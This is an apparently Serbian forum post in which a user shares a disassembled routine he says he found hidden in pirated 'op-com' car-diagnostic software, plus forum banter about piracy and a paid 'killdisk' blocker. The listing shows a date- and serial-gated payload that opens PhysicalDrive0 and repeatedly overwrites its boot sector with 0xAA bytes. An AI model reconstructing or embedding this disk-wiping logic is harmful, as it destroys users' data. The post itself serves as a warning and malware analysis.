Hmm ;) Smeshni ste...
Evo izvolite kod:
Code:
PUSH EBX
PUSH ESI
ADD ESP,-40C
CMP BYTE PTR DS:[EAX+49],0
JE 004938E7
PUSH 100 ; /BufSize = 100 (256.)
LEA EAX,SS:[ESP+C] ; |
PUSH EAX ; |Buffer
CALL <JMP.&kernel32.GetWindowsDirectoryA> ; \GetWindowsDirectoryA
MOV BYTE PTR SS:[ESP+B],0
PUSH 0 ; /pFileSystemNameSize = NULL
PUSH 0 ; |pFileSystemNameBuffer = NULL
LEA EAX,SS:[ESP+8] ; |
PUSH EAX ; |pFileSystemFlags
LEA EAX,SS:[ESP+C] ; |
PUSH EAX ; |pMaxFilenameLength
LEA EAX,SS:[ESP+14] ; |
PUSH EAX ; |pVolumeSerialNumber
PUSH 100 ; |MaxVolumeNameSize = 100 (256.)
LEA EAX,SS:[ESP+121] ; |
PUSH EAX ; |VolumeNameBuffer
LEA EAX,SS:[ESP+24] ; |
PUSH EAX ; |RootPathName
CALL <JMP.&kernel32.GetVolumeInformationA> ; \GetVolumeInformationA
CMP DWORD PTR SS:[ESP+4],984502F8
JE 004938E7
PUSH 0 ; /hTemplateFile = NULL
PUSH 0 ; |Attributes = 0
PUSH 3 ; |Mode = OPEN_EXISTING
PUSH 0 ; |pSecurity = NULL
PUSH 3 ; |ShareMode = FILE_SHARE_READ|FILE_SHARE_WRITE
PUSH C0000000 ; |Access = GENERIC_READ|GENERIC_WRITE
PUSH 004938F0 ; |FileName = "\\\\.\\PhysicalDrive0"
CALL <JMP.&kernel32.CreateFileA> ; \CreateFileA
MOV EBX,EAX
MOV ESI,2710
PUSH 0 ; /pOverlapped = NULL
LEA EAX,SS:[ESP+4] ; |
PUSH EAX ; |pBytesRead
PUSH 200 ; |BytesToRead = 200 (512.)
LEA EAX,SS:[ESP+216] ; |
PUSH EAX ; |Buffer
PUSH EBX ; |hFile
CALL <JMP.&kernel32.ReadFile> ; \ReadFile
MOV EDX,200
LEA EAX,SS:[ESP+20A]
MOV BYTE PTR DS:[EAX],0AA
INC EAX
DEC EDX
JNZ SHORT 00493860
PUSH 0 ; /pOverlapped = NULL
LEA EAX,SS:[ESP+4] ; |
PUSH EAX ; |pBytesWritten
PUSH 200 ; |nBytesToWrite = 200 (512.)
LEA EAX,SS:[ESP+216] ; |
PUSH EAX ; |Buffer
PUSH EBX ; |hFile
CALL <JMP.&kernel32.WriteFile> ; \WriteFile
DEC ESI \device\harddisk0\dr0)
JNZ SHORT 0049383A
PUSH EBX ; /hObject
CALL <JMP.&kernel32.CloseHandle> ; \CloseHandle
MOV DL,1
MOV EAX,DS:[492E70]
CALL 00492ECC
MOV EBX,EAX
PUSH 00493904 ; /RootPathName = "c:\\"
CALL <JMP.&kernel32.GetDriveTypeA> ; \GetDriveTypeA
CMP EAX,3
JNZ SHORT 004938BC
PUSH 0
PUSH 0
MOV ECX,20
MOV EDX,00493910 ; ASCII "c:\\"
MOV EAX,EBX
CALL 00492F2C
PUSH 00493914 ; /RootPathName = "d:\\"
CALL <JMP.&kernel32.GetDriveTypeA> ; \GetDriveTypeA
CMP EAX,3
JNZ SHORT 004938E0
PUSH 0
PUSH 0
MOV ECX,20
MOV EDX,00493920 ; ASCII "d:\\"
MOV EAX,EBX
CALL 00492F2C
MOV EAX,EBX
CALL 0040375C
ADD ESP,40C
POP ESI
POP EBX
RETN
Gledajte i razmishljajte o tome ;) Ovo je "rutina" programa koja pokrece virus (a nalazi se u op-comu)...
Da li uopshte znate shta je software ?! Ochigledno ne...
Prilikom debugovanja programa prionashao sam rutine koje se pokrecu na ovaj datum (26.2.), obrisao sam virus tako da nisam chekao taj datum da vidim shta ce da se desi... jer ovo nije neki projekat koji mi je "zapao" za oko... obican program... ;) Nisam puno zagledao u to, odmah sam napravio program koji ga brishe jer imam dosta fajlova koji vrede vishe od obichnog "op-coma" koji radi svaki drugi/treci auto...
Nailazio sam na na rutine programa koji generishu razne datume po HDD Serialu, tako da je moguce i ovaj odradjen na slichan nachin.
Videcemo ko greshi :) I ko ce da pogubi podatke ;) Kad tad, ne mogu da gledam u vashe "rachunare" koji su puni "piratskog" softvera ;) I koji ubijate posao, i to zbog ne znanja :)
Citat:
waleks: Nas mladi prijatelj se dosetio kako da VAm uzme pare!
Znate na koga mislim!
Nije puno naplacivao - samo po 20 eura za neki soft sto blokira killdisk! --- SAMO TO !? :) ON SAMO BLOKIRA KILLDISK...
E sad koliko je VAS prevario ne znam,ali znam koga jeste!
Bas me zanima da li ce vratiti novac!
Ovo bila cista prevara,a takve treba banovati!
POZDRAV!!!!!!!!!!!!
Znam na koga mislis :) Sa njim saradjujem dugo vremena, tako da je on bez brige ;)
Ako ima neko pitanje, moze slobodno da me pita... Poznaje me dugo i zna da sam mu pomogao dosta puta
i zna shta ja znam/umem :)
Ukoliko nisi siguran u ono shto govorish, bolje cuti...
Dj bojan,
Citat:
I opcom i dalje radi cak na bar deset racunara na kojima sam ja licno instalirao.
Vezbash se, valja tako ;)
Pozdrav :)
Potpis
011100010111011101100101011100100111010001111001